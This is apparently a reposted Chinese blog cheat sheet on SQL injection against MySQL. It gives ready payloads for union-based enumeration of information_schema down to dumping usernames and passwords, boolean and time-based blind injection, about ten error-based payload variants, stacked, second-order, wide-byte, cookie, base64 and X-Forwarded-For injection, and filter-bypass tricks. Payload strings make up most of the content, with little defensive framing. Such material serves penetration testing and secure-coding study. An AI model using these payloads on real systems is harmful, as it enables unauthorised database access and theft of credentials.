• SQL注入总结


    SQL 注入总结

    0x01 什么是SQL注入

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

    0x02 SQL注入的分类

    按变量类型分

    • 数字型
    • 字符型

    按HTTP提交方式分

    • GET注入
    • POST注入
    • Cookie注入

    按注入方式分

    • 报错注入
    • 盲注
      • 布尔盲注
      • 时间盲注
    • union注入

    编码问题

    • 宽字节注入

    0x03识别后台数据库

    根据操作系统平台

    sql server:Windows(IIS)
    MySQL:Apache

    根据web语言

    Microsoft SQL Server:ASP和.Net
    MySQL:PHP
    Oracle/MySQL:java
    (以下是对mysql数据库的总结,其他类型数据库会不定时更新)

    0x04 MySQL 5.0以上和MySQL 5.0以下版本的区别

    MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库--INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。而5.0以下没有。
    information_schema
    系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
    SCHEMATA
    储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
    TABLES
    储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
    COLUMNS
    储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等

    0x05 基本手工注入流程

    要从select语句中获得有用的信息,必须确定该数据库中的字段数和那个字段能够输出,这是前提。

    1. MySQL >= 5.0

    (1)获取字段数

    • 1
    order by n /*通过不断尝试改变n的值来观察页面反应确定字段数*/

    (2)获取系统数据库名

    在MySQL >5.0中,数据库名存放在information_schema数据库下schemata表schema_name字段中
    • 1
    select null,null,schema_name from information_schema.schemata

    (3)获取当前数据库名

    • 1
    select null,null,...,database()

    (4)获取数据库中的表

    • 1
    select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
    • 1
    select null,null,...,table_name from information_schema.tables where table_schema=database() limit 0,1

    (5)获取表中的字段

    这里假设已经获取到表名为user
    • 1
    select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'

    (6)获取各个字段值

    这里假设已经获取到表名为user,且字段为username和password
    • 1
    select null,group_concat(username,password) from users

    2.MySQL < 5.0

    MySQL < 5.0 没有信息数据库information_schema,所以只能手工枚举爆破(二分法思想)。
    该方式通常用于盲注。

    相关函数

    length(str) :返回字符串str的长度
    substr(str, pos, len) :将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
    mid(str,pos,len) :跟上面的一样,截取字符串
    ascii(str) :返回字符串str的最左面字符的ASCII代码值
    ord(str) :将字符或布尔类型转成ascll码
    if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

    (1)基于布尔的盲注

    • 1
    and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/

    (2)基于时间的盲注

    • 1
    id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用户名前四个字符做判断,正确就延迟4秒,错误返回1*/

    0x06 常用注入方式

    注释符:
    • 1
    • 2
    • 3
    #-- (有空格)或--+/**/
    内联注释:
    • 1
    /*!...*/

    union注入

    • 1
    id =-1 union select 1,2,3 /*获取字段*/

    Boolean注入

    • 1
    id=1' substr(database(),1,1)='t'--+ /*判断数据名长度*/

    报错注入

    1 floor()和rand()

    • 1
    union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/

    2 extractvalue()

    • 1
    id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

    3 updatexml()

    • 1
    id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

    4 geometrycollection()

    • 1
    id=1 and geometrycollection((select * from(select * from(select user())a)b))

    5 multipoint()

    • 1
    id=1 and multipoint((select * from(select * from(select user())a)b))

    6 polygon()

    • 1
    id=1 and polygon((select * from(select * from(select user())a)b))

    7 multipolygon()

    • 1
    id=1 and multipolygon((select * from(select * from(select user())a)b))

    8 linestring()

    • 1
    id=1 and linestring((select * from(select * from(select user())a)b))

    9 multilinestring()

    • 1
    id=1 and multilinestring((select * from(select * from(select user())a)b))

    10 exp()

    • 1
    id=1 and exp(~(select * from(select user())a))

    时间注入

    • 1
    id = 1 and if(length(database())>1,sleep(5),1)

    堆叠查询注入

    • 1
    id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23

    二次注入

    假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test',接下来访问xxx.php?username=test',页面返回id=22;
    接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
    访问 xxx.php?id=test' union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。

    宽字节注入

    利用条件:

    • [ ] 查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数
    • [ ] 数据库的编码为GBK

    利用方式

    • 1
    id = -1%DF' union select 1,user(),3,%23
    在上述条件下,单引号'被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。

    Cookie注入

    当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。
    • 1
    Cookie: id = 1 and 1=1

    base64注入

    对参数进行base64编码,再发送请求。
    说明:id=1',1的base64编码为MSc=,而=的url编码为%3d,所以得到以下结果:
    • 1
    id=MSc%3d

    XFF注入

    XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址
    • 1
    X-Forward-For:127.0.0.1' select 1,2,user()

    0x07 SQL注入绕过技术

    • 大小写绕过
    • 双写绕过
    • 编码绕过(url全编码、十六进制)
    • 内联注释绕过
    • 关键字替换
      • 逗号绕过
        substr、mid()函数中可以利用from to来摆脱对逗号的利用;
        limit中可以利用offset来摆脱对逗号的利用
      • 比较符号( >、< )绕过(greatest、between and)
      • 逻辑符号的替换(and=&& or=|| xor=| not=!)
      • 空格绕过(用括号,+等绕过)
    • 等价函数绕过
      • hex()、bin()=ascii()
      • concat_ws()=group_concat()
      • mid()、substr()=substring()
    • http参数污染id=1 union select+1,2,3+from+users+where+id=1–变为id=1 union select+1&id=2,3+from+users+where+id=1–
    • 缓冲区溢出绕过 (id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ,27,28,29,30,31,32,33,34,35,36–+ 其中0xAAAAAAAAAAAAAAAAAAAAA这里A越多越好。。一般会存在临界值,其实这种方法还对后缀名的绕过也有用)
  • 相关阅读:
    数据结构实现时的注意事项
    用编程解决生活中的问题
    用编程解决生活中的问题
    中英文对照 —— 生物学基本概念
    中英文对照 —— 生物学基本概念
    面向对象 —— 对类(class)的理解
    面向对象 —— 对类(class)的理解
    百家姓 —— 特别的姓氏与姓氏的由来
    百家姓 —— 特别的姓氏与姓氏的由来
    英文段子
  • 原文地址:https://www.cnblogs.com/LeeeBoom/p/12359780.html
Copyright © 2020-2023  润新知